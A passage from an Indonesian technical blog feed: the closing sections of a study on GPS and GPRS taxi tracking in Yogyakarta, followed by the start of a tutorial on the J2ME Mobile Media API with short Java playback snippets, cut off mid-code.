<p>Penelitian  dengan melakukan perjalanan langsung pada sebagain jalan di kota DIY dengan membawa modul<a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps"> GPS <em>receiver</em></a> dan <em>handphone</em> yang sudah dilengkapi dengan program J2ME.</p>
<p>Sistem ini dilihat dari sisi operator berisi tampilan peta digital dan titik-titik yang mengambarkan posisi kendaraan. Operator hanya dengan melihat tampilan monitoring, maka visualisasi akan selalu terupdate secara otomatis.</p>
<h2>3.1 Pembacaan Informasi dari GPS</h2>
<p>Data posisi dikirim dari modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS</a> dalam format <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA</a>-0183 tipe RMC dengan koneksi melalui bluetooth. Pada penelitian ini data yang diterima di <em>handphone</em> tidak selamanya lengkap. Perbandingan data penuh dan tidak penuh adalah sebagai berikut:</p>
<p>Contoh data lengkap:</p>
<pre>$GPRMC,065102,A,0745.6301,S,11024.5308,E,000.0,066.2,030306,001.1,E*65</pre>
<p>Contoh data tidak lengkap:</p>
<pre>A,0745.6301,S,11024.5308,E,000.0,066.2,030306,001.1,E*65</pre>
<p>Pembacaan data penuh akan menghasilkan informasi posisi dan visualisasi yang baik. Aplikasi yang dibangun belum stabil, karena pada waktu tertentu aplikasi akan tertutup sendiri tanpa ada pesan kesalahan.</p>
<h2>3.2 Hasil Pengiriman Data Posisi</h2>
<p>Berdasarkan hasil penelitian di lapangan dengan pengaturan interval pengiriman dalam <em>handphone</em> adalah 3 detik diperoleh data seperti pada tabel 1.</p>
<p>Tabel 1.  Data posisi hasil pengiriman</p>
<table style="width: 589px; height: 539px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="53"><strong>ID</strong></td>
<td width="161"><strong>GtTgl</strong></td>
<td width="78"><strong>GtLong</strong></td>
<td width="85"><strong>GtLat</strong></td>
<td width="46"><strong>Speed</strong></td>
<td width="86"><strong>Jam</strong></td>
<td width="62"><strong>Interval</strong></td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:49:47.623</td>
<td width="78">11025.8600</td>
<td width="85">-0746.2964</td>
<td width="46">0.0</td>
<td width="86">10:49:47.623</td>
<td width="62"></td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:49:55.170</td>
<td width="78">11025.8592</td>
<td width="85">-0746.2967</td>
<td width="46">6.3</td>
<td width="86">10:49:55.170</td>
<td width="62">00:07.5</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:02.030</td>
<td width="78">11025.8568</td>
<td width="85">-0746.3147</td>
<td width="46">25.0</td>
<td width="86">10:50:02.030</td>
<td width="62">00:06.9</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:09.077</td>
<td width="78">11025.8544</td>
<td width="85">-0746.3478</td>
<td width="46">33.5</td>
<td width="86">10:50:09.077</td>
<td width="62">00:07.0</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:15.983</td>
<td width="78">11025.8506</td>
<td width="85">-0746.3878</td>
<td width="46">40.5</td>
<td width="86">10:50:15.983</td>
<td width="62">00:06.9</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:23.043</td>
<td width="78">11025.8469</td>
<td width="85">-0746.4323</td>
<td width="46">42.2</td>
<td width="86">10:50:23.043</td>
<td width="62">00:07.1</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:30.780</td>
<td width="78">11025.8428</td>
<td width="85">-0746.4773</td>
<td width="46">44.4</td>
<td width="86">10:50:30.780</td>
<td width="62">00:07.7</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:38.013</td>
<td width="78">11025.8375</td>
<td width="85">-0746.5316</td>
<td width="46">45.0</td>
<td width="86">10:50:38.013</td>
<td width="62">00:07.2</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:45.060</td>
<td width="78">11025.8329</td>
<td width="85">-0746.5786</td>
<td width="46">46.1</td>
<td width="86">10:50:45.060</td>
<td width="62">00:07.0</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:51.950</td>
<td width="78">11025.8291</td>
<td width="85">-0746.6154</td>
<td width="46">18.1</td>
<td width="86">10:50:51.950</td>
<td width="62">00:06.9</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:50:59.200</td>
<td width="78">11025.8283</td>
<td width="85">-0746.6197</td>
<td width="46">0.0</td>
<td width="86">10:50:59.200</td>
<td width="62">00:07.3</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:51:06.043</td>
<td width="78">11025.8288</td>
<td width="85">-0746.6256</td>
<td width="46">14.2</td>
<td width="86">10:51:06.043</td>
<td width="62">00:06.8</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:51:13.013</td>
<td width="78">11025.8259</td>
<td width="85">-0746.6535</td>
<td width="46">32.6</td>
<td width="86">10:51:13.013</td>
<td width="62">00:07.0</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:51:20.077</td>
<td width="78">11025.8217</td>
<td width="85">-0746.6906</td>
<td width="46">37.9</td>
<td width="86">10:51:20.077</td>
<td width="62">00:07.1</td>
</tr>
<tr>
<td width="53">3</td>
<td width="161">2007-01-04 10:51:26.920</td>
<td width="78">11025.8177</td>
<td width="85">-0746.7319</td>
<td width="46">40.5</td>
<td width="86">10:51:26.920</td>
<td width="62">00:06.8</td>
</tr>
</tbody>
</table>
<p>Keterangan:</p>
<p>Interval = waktu pengiriman dikurangi waktu pengiriman sebelumnya.</p>
<p>Dari tabel 1 di atas dapat diambil kesimpulan bahwa:</p>
<ol>
<li>Rata-rata jeda waktu pengiriman         : 7.1 detik</li>
<li>Pengiriman tercepat                                  : 6.8 detik</li>
<li>Pengiriman terlama                                   : 7.7 detik</li>
</ol>
<h2>3.3 Besar Data GPRS</h2>
<p>Besar data yang dikirim penulis dapat dari daftar log GPRS pada <em>handphone</em>.</p>
<p>Hasil penelitian didapat data sebagai berikut:</p>
<ol>
<li>Jumlah data     : 51 data</li>
<li>Total <em>sent </em> : 26.14 kb</li>
<li>Total <em>receiver </em>: 29.01 kb</li>
</ol>
<p>Jumlah data yang dikirim per satu kali kirim berdasarkan data di atas dirumuskan sebagai berikut:</p>
<p><a href="http://www.andisun.com/wp-content/uploads/2009/09/formula.png"><img class="alignnone size-full wp-image-434" title="formula" src="http://www.andisun.com/wp-content/uploads/2009/09/formula.png" alt="formula" width="296" height="45" /></a></p>
<p><a href="http://www.andisun.com/wp-content/uploads/2009/09/formula_result.png"><img class="alignnone size-full wp-image-435" title="formula_result" src="http://www.andisun.com/wp-content/uploads/2009/09/formula_result.png" alt="formula_result" width="137" height="42" /></a></p>
<p>Jadi per satu kali pengiriman data posisi sebuah taksi adalah : 1.08 Kb.</p>
<h2>3.4 Monitoring Posisi Terakhir</h2>
<p>Sebelum ditampilkan dalam MapObject, maka data dari Database yang berformat DM.m harus diubah menjadi D.d.</p>
<div id="attachment_433" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/screenshoot_tracking_monitoring.png"><img class="size-full wp-image-433" title="screenshoot_tracking_monitoring" src="http://www.andisun.com/wp-content/uploads/2009/09/screenshoot_tracking_monitoring.png" alt="Visualisasi posisi terakhir" width="530" height="398" /></a><p class="wp-caption-text">Visualisasi posisi terakhir</p></div>
<p>Posisi titik yang menggambarkan taksi selalu berpindah-pindah sesuai data posisi terakhir yang diambil dari database.</p>
<h2>3.5 Tracking Kendaraan</h2>
<p>Proses tracking kendaraan diawali dengan mengambil data track dari database berdasarkan tanggal tertentu. Titik awal pergerakan diwakili dengan titik berwarna merah sedangkan titik yang bergerak berwarna hijau, sedangkan garis track yang dilalui berwarna biru.</p>
<div id="attachment_437" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/screenshot_tracking_line_track.png"><img class="size-full wp-image-437" title="screenshot_tracking_line_track" src="http://www.andisun.com/wp-content/uploads/2009/09/screenshot_tracking_line_track.png" alt="Visualisasi garis diambil berdasarkan koordinat" width="530" height="398" /></a><p class="wp-caption-text">Visualisasi garis diambil berdasarkan koordinat</p></div>
<p>Hasil penelitian bahwa garis track dihasilkan dengan menggabungkan sebuah posisi dengan posisi berikutnya. Hasil garis track secara visual kadang tidak sesuai dengan jalur jalan. Hal tersebut dapat terjadi pada saat jalan bercabang kendaraan tidak mengirimkan posisinya.</p>
<h1>4.  KESIMPULAN</h1>
<p>Dari hasil penelitian, perancangan dan implementasi yang telah dilakukan maka dapat disimpulkan bahwa:</p>
<ol>
<li>Koordinat yang diperoleh dari modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS <em>receiver</em></a> dalam bentuk DM.m harus diubah ke bentuk D.d agar dikenali pada MapObject.</li>
<li>Proses pengiriman data menggunakan GPRS rata-rata membutuhkan waktu sekitar 3 detik dengan jumlah data yang dikirim sebesar 1.08 KB.</li>
<li>Aplikasi <a href="http://www.andisun.com/artikel/sekilas-java-2-microedition-j2me">J2ME </a>yang diinstall pada <em>handphone</em> belum berfungsi maksimal (100%) karena pada waktu tak tentu aplikasi tertutup sendiri.</li>
<li>Ketepatan visualisasi posisi dan tracking ditentukan oleh akurasi modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS <em>receiver</em></a> dan peta digital yang digunakan.</li>
</ol>
<h1>5.  DAFTAR PUSTAKA</h1>
<ol>
<li>[And07] Sunyoto, Andi., 2007, ”Thesis: Integrasi Modul GPS Receiver dan GPRS untuk Penentuan Posisi dan Jalur Pergerakan Obyek Bergerak (Studi Kasus : Penentuan Posisi Taksi di Yogyakarta)”, S2 Jurusan Ilmu Komputer, UGM, 2007.</li>
<li>[Bal--] Baldus, G., Kim J.,____“Collier County Government: Integrating GIS and Real-Time Vehicle Tracking for County Emergency Response”, Naples, Florida.</li>
<li>[Fal00] Fallon, E., 2000, “Dublin Bus Tracking Service Design and implementation of a device independent passenger information”,  http://citeseer.ist.psu.edu/rd/79396097%2C435540%2C1%2C0.25%2CDownload/ftp%3AqSqqSqftp.cs.tcd.ieqSqpubqSqtech-reportsqSqreports.00qSqTCD-CS-2000-47.pdf, (Di download 26 Juni 2006).</li>
<li>[Fen01] Feng Y, Zhu J., &#8220;Wireless Java Programming with Java 2 Micro Edition&#8221;, SAMS, Indianapolish, 2001.</li>
<li>[Haf96] Hafberg, G., 1996, “Integration of Geographic Informastion Systems and Navigation Systems for Moving (Dynamic) Objects Like Vehiclas and Ship “,  http://gis.esri.com/library/userconf/proc95/to300/p272.html.</li>
<li>[Has95] Hasanuddin, A.Z., 1995.,  “Penentuan Posisi dengan GPS dan Aplikasinya”. Pradnya Paramita. Jakarta.</li>
<li>[Pet06] Peter&#8217;s and Joe&#8217;s, 2006,  “NMEA Data”, http://www.gpsinformation.org/dale/nmea.htm, 4 Dec 2006.</li>
<li>[Pra02] Prahasta, E., 2002 “Konsep-Konsep Dasar Sistem Informasi Geografis”, Informatika, Bandung.</li>
<li>[Sch05] Schmidt, A., Holleis, P., Kranz, Matthias., Rukzio, E., ____, “Accessing GPS Receiver from Mobile Phone Via Bluetooth”, http://www.hcilab.org/documents/tutorials/BT_GPS/BT_GPS.htm, Ludwig-Maximilians-University Munich, Desember 2005.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/mobile-tracking-memanfaatkan-teknologi-global-positioning-system-gps-dan-general-packet-radio-service-gprs/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>J2ME: Pengaksesan File Multimedia Pada Mobile Device dengan MMAPI</title>
		<link>http://www.andisun.com/jurnal/j2me-pengaksesan-file-multimedia-pada-mobile-device-dengan-mmapi-2</link>
		<comments>http://www.andisun.com/jurnal/j2me-pengaksesan-file-multimedia-pada-mobile-device-dengan-mmapi-2#comments</comments>
		<pubDate>Thu, 03 Sep 2009 02:24:20 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[Device]]></category>
		<category><![CDATA[Interface]]></category>
		<category><![CDATA[J2ME]]></category>
		<category><![CDATA[MMAPI]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Player]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=397</guid>
		<description><![CDATA[By: Andi Sunyoto Abstraksi Mobile Media API (MMAPI) is an optional package yang mendukung aplikasi multimedia di peralatan J2ME. Ini adalah standar Java yang ditetapkan oleh Java Community Process (JCP) dalam JSR 135. Standar ini didesain fleksibel jalan di beberapa protokol dan format; contoh pengimplementasiannya tidak harus dengan protokol HTTP atau Real-Time Transport Protokol (RTP) [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">By: Andi Sunyoto</p>
<p align="center">Abstraksi</p>
<p align="center"><em>Mobile Media API (MMAPI)</em> is an <em>optional package</em> yang mendukung aplikasi multimedia di peralatan J2ME. Ini adalah standar Java yang ditetapkan oleh <em>Java Community Process (JCP)</em> dalam JSR 135. Standar ini didesain fleksibel jalan di beberapa protokol dan format; contoh pengimplementasiannya tidak harus dengan protokol HTTP atau <em>Real-Time Transport Protokol (RTP) </em>saja, atau media dengan format MP3. MIDI atau MPEG-4 saja.</p>
<h2>Pengantar MMAPI</h2>
<p>Artikel ini menyediakan suatu pengenalan dari arsitektur MMAPI dan API, yang dilengkapi suatu contoh kode yang menunjukkan bagaimana MMAPI dapat digunakan untuk membangun aplikasi-aplikasi multimedia <em>Wireless Java</em>.</p>
<p>MMAPI sudah dirancang untuk berjalan di setiap virtual machine berbasis J2ME, termasuk CDC dan CLDC.</p>
<p>Pengembang MMAPI dirancang dengan fitur sebagai berikut:</p>
<ul>
<li>Mendukung untuk <em>Tone Generation, Playback, and Recording of Time-Based Media</em>: paket ini mendukung setiap isi audio dan video yang berbasis waktu (time-based).</li>
<li><em>Small Footprint</em>:<em> </em>MMAPI bekerja pada batas-batas memori yang tegas dari alat-alat CLDC.</li>
<li><em>Protocol- and Content-Agnostic</em>:<em> </em>API tidak dibiaskan ke tipe atau protokol yang spesifik.</li>
<li><em>Subsettable: </em>pengembang dapat mendukung tipe tertentu.</li>
<li><em>Extensible</em>: Fitur baru dapat ditambahkan dengan mudah tanpa menghilangkan kemampuan sistem yang sebelumnya. Lebih penting lagi, format-format tambahan dapat dengan mudah didukung, dikbuat framework dan ditempatkan untuk kontrol tambahan.</li>
<li><em>Options for Implementers</em>: API menawarkan fitur untuk tujuan-tujuan yang tertentu. API didesain dan dirancang untuk mengizinkan developer meninggalkan beberapa fitur jika mereka tidak bisa didukung.</li>
</ul>
<h2>Multimedia Processing</h2>
<p>Ada dua bagian untuk mengolah multimedia:</p>
<ul>
<li><em>Protocol Handling: </em>membaca data dari suatu sumber seperti sebuah file atau suatu streaming server ke dalam sistem media-processing.</li>
<li><em>Content Handling</em>: menguraikan (parsing) atau decoding data dan merendernya menjadi sebuah keluaran seperti spiker audio atau layar video.</li>
</ul>
<p>Agar dapat memfasilitasi operasi di atas, API menyediakan dua tipe obyek high-level:</p>
<ul>
<li>DataSource mengencapsulasi penanganan protokol dengan penyembunyian detail bagaimana data itu dibaca dari sumbernya. Method obyek mempunyai berguna yang memungkinkan obyek Player menangani  isi.</li>
<li>Player membaca data dari DataSource, memprosesnya merendernya untuk ditampilkan di piranti. Obyek ini menyediakan metoda untuk mengendalikan media untuk playback, termasuk metoda untuk mengendalikan tipe tertentu mengakses fitur tipe media tertentu..</li>
</ul>
<p>MMAPI menetapkan obyek ketiga, sebuah mekanisme yang dikenal sebagai Manager yang memungkinkan aplikasi membuat Players dari DataSources, dan dari InputStreams.</p>
<p align="center">
<p align="center">
<div id="attachment_398" class="wp-caption aligncenter" style="width: 383px"><img class="size-full wp-image-398" title="arsitektur_mmapi_j2me" src="http://www.andisun.com/wp-content/uploads/2009/09/arsitektur_mmapi_j2me.png" alt="Arsitektur MMAPI" width="373" height="235" /><p class="wp-caption-text">Arsitektur MMAPI</p></div>
<p><span id="more-397"></span></p>
<p>Obyek Manager menyediakan method createPlayer(), yang merupakan level tertinggi API untuk memasukkan input. Berikut contoh penggunaannya:</p>
<pre>...
Player player = Manager.createPlayer(String url);
...</pre>
<p>Keterangan:</p>
<ul>
<li>url : berisi protokol dan isi url</li>
<li>format pengisian url &lt;protokol&gt;:&lt;isi lokasi&gt;</li>
</ul>
<p>Aplikasi menggunakan method yang dikembalikan Player untuk mengontrol data yang didapatkan dan playback media yang berdasarkan waktu <em>(time-based)</em>.</p>
<p><em>Life-cycle Player</em> berisi lima keadaan: UNREALIZED, REALIZED, PREFETCHED, STARTED, dan CLOSED. Ke enam method menghasilkan transisi keadaan:</p>
<pre>realize()
prefetch()
start()
stop()
deallocate()
close()</pre>
<p>Ketika sebuah player dibuat, berubah ke keadaan UNREALIZED. Kemudian memanggil realize() pindah ke keadaan REALIZED dan menganalisa informasi. Memanggil prefetch() keadaan pindah ke PREFETCHED, menetapkan koneksi jaringan untuk streaming data, dan melakukan tugas-tugas inisialisasi lainnya. Memangil start() menyebabkan transisi ke keadaan STARTED, dimana player dapat memproses data. Ketika selesai memproses data (sampai ke bagian terakhir data), akan mengembalikan keadaan PREFETCHED. Memanggil close() meyebabkan player pindah ke status CLOSED.</p>
<p>Sebuah Player menyediakan kendali yang dikhususkan untuk jenis tertentu dari media yang memproses. Aplikasi menggunakan getControl() untuk memperoleh suatu kendali, atau getControls() untuk mendapat satu berpakaian tentang mereka. Sebagai satu contoh, jika suatu pemain untuk MIDI menggunakan getControl() itu, maka akan mendapat MIDIControl.</p>
<p>MMAPI dikemas dalam tiga paket:</p>
<ul>
<li>javax.microedition.media menyediakan beberapa interface, sebuah exception, dan class Manager, merupakan titik akses untuk memperoleh sumber daya, seperti Players untuk pengolahan multimedia.</li>
<li>javax.microedition.media.control menetapkan tipe control spesifik yang dapat digunakan dengan sebuah Player: VolumeControl, VideoControl, dan lainnya.</li>
<li>javax.microedition.media.protocol menetapkan protokol untuk menangani control yang berbeda.</li>
</ul>
<p>Class, interface dan exception yang ada dipaket ini berisi dapat dilihat pada tabel berikut:</p>
<p style="text-align: left;">Tabel 1 : Class MMAPI</p>
<table style="width: 589px; height: 258px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="243" valign="top"><strong>Package</strong></td>
<td width="141" valign="top"><strong>Class</strong></td>
<td width="207" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="243" valign="top">javax.microedition.media</td>
<td width="141" valign="top">Manager</td>
<td width="207" valign="top">Akses untuk   memperoleh sumber daya pada system-dependent, seperti Player   untuk mengolah multimedia.</td>
</tr>
<tr>
<td width="243" valign="top">javax.microedition.media.protocol</td>
<td width="141" valign="top">ContentDescriptor</td>
<td width="207" valign="top">Mendeskripsikan   tipe isi dari media.</td>
</tr>
<tr>
<td width="243" valign="top">javax.microedition.media.protocol</td>
<td width="141" valign="top">DataSource</td>
<td width="207" valign="top">Menunjukkan bentuk abstraksi untuk protokol media   menangani penyembunyian detail bagaimana data itu dibaca dari suatu file   media atau server streaming; menyediakan  method untuk Player mengakses   data masukan.</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">Table 2: MMAPI Interfaces</p>
<table style="width: 583px; height: 1018px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="235" valign="top"><strong>Package</strong></td>
<td width="165" valign="top"><strong>Interface</strong></td>
<td width="174" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media</td>
<td width="165" valign="top">Control</td>
<td width="174" valign="top">Digunakan untuk mengendalikan beberapa pengolahan media   yang berhubungan dengan fungsi:diperoleh dari interface Controllable,   diturunkan oleh Player; mungkinkan suatu Player   untuk menggunakan, sebagai contoh VolumeControl untuk mengizinkan user untuk   menset volume.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media</td>
<td width="165" valign="top">Controllable</td>
<td width="174" valign="top">Menyediakan sebuah interface untuk memperoleh Control   dari Player   atau obyek lain.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media</td>
<td width="165" valign="top">Player</td>
<td width="174" valign="top">Digunakan untuk mengontrol render dari data media.   Menyediakan method untuk mengatur life-cycle Player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media</td>
<td width="165" valign="top">PlayerListener</td>
<td width="174" valign="top">Menerima event yang dibuat oleh Player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media</td>
<td width="165" valign="top">TimeBase</td>
<td width="174" valign="top">Mengetahui urutan program tiap waktunya; digunakan untuk   ukuran waktu proses, dan sikronisais media playback dengan banyak user.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">FramePositionControl</td>
<td width="174" valign="top">Mengontrol secara persis posisi frame dari video untuk   sebuah Player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">GUIControl</td>
<td width="174" valign="top">Harus   diimplementasikan pada setiap control yang mendukung komponen GUI.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">MetaDataControl</td>
<td width="174" valign="top">Digunakan untuk   mendapatkan informasi metadata di dalam media streaming.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">MIDIControl</td>
<td width="174" valign="top">Menyediakan akses render dan mengirimkan MIDI.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">PitchControl</td>
<td width="174" valign="top">Mengontrol pola playback audio tanpa merubah kecepatan   playback.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">RateControl</td>
<td width="174" valign="top">Mengontrol playback rate dari player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">RecordControl</td>
<td width="174" valign="top">Mengontrol recoding media dari   player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">StopTimeControl</td>
<td width="174" valign="top">Digunakan menentukan waktu stop untuk sebuah player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">TempoControl</td>
<td width="174" valign="top">Mengontrol   tempo sebuah lagu: diimplementasikan dalam player pada file MIDI.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">ToneControl</td>
<td width="174" valign="top">Mungkinkan user   playback (memutar ulang) urutan nada-nada tunggal.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">VideoControl</td>
<td width="174" valign="top">Mengontrol   tampilan video, sebagai contoh lokasinya dicanvas dimana video ditampilkan.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.control</td>
<td width="165" valign="top">VolumeControl</td>
<td width="174" valign="top">Mengontrol volume player.</td>
</tr>
<tr>
<td width="235" valign="top">javax.microedition.media.protocol</td>
<td width="165" valign="top">SourceStream</td>
<td width="174" valign="top">Digunakan   bersama dengan DataSource untuk menyediakan interface   masukan Player; turunan dari interface   Controllable, sehingga menyediakan kendali yang spesifik.</td>
</tr>
</tbody>
</table>
<p style="text-align: left;">Table 3: MMAPI Exceptions</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="197" valign="top"><strong>Package</strong></td>
<td width="197" valign="top"><strong>Exception</strong></td>
<td width="197" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="197" valign="top">javax.microedition.media</td>
<td width="197" valign="top">MediaException</td>
<td width="197" valign="top">Melaporkan kesalahan tidak terduga (unexpected)   method mengolaah media.</td>
</tr>
</tbody>
</table>
<h2>Menggunakan MMAPI</h2>
<p>Pada bagian ini akan dibahas bagaimana memanfaatkan MMAPI untuk membangun aplikasi J2ME berbasis MMAPI.</p>
<h3>Aplikasi Tone</h3>
<p>Pembuatan Tone di identikkan dengan frekusi dan durasi. Tipe ini penting untuk game dan aplikasi audio, terutama untuk peralatan kecil, dimana hanya mempunyai kemampuan multimedia yang terbatas. Method Manager.playTone() membuat tone. Implemtasinya dapat dipetakan pada hardware tone generator, yaitu menetapkan note, durasi, dan volume.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code12'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39712"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p397code12"><pre class="java" style="font-family:monospace;">...
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #666666; font-style: italic;">// play a tone for 4000 milliseconds at volume 100</span>
   Manager.<span style="color: #006633;">playTone</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>ToneControl.<span style="color: #006633;">C4</span>, <span style="color: #cc66cc;">4000</span>, <span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>MediaException me<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<h3>Aplikasi MP3 Playback</h3>
<p>Berikut contoh simple bagaimana memutar file mp3 tanpa dilengkapi pengontrol.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code13'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39713"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code" id="p397code13"><pre class="java" style="font-family:monospace;">...
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   Player p <span style="color: #339933;">=</span> Manager.<span style="color: #006633;">createPlayer</span>
	 <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://server/somemusic.mp3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">setLoopCount</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> ioe<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>MediaException e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
...</pre></td></tr></table></div>

<p>Berikut potongan program yang dilengkapi dengan pegontrol media.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p397code14'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p39714"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code" id="p397code14"><pre class="java" style="font-family:monospace;">...
<span style="color: #006633;">Player</span> p<span style="color: #339933;">;</span>
VolumeControl vc<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
   p <span style="color: #339933;">=</span> Manager.<span style="color: #006633;">createPlayer</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://server/somemusic.mp3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   p.<span style="color: #006633;">realize</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #666666; font-style: italic;">// get volume control for player and set volume to max</span>
   vc <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>VolumeControl<span style="color: #009900;">&#41;</span> p.<span style="color: #006633;">getControl</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;VolumeControl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
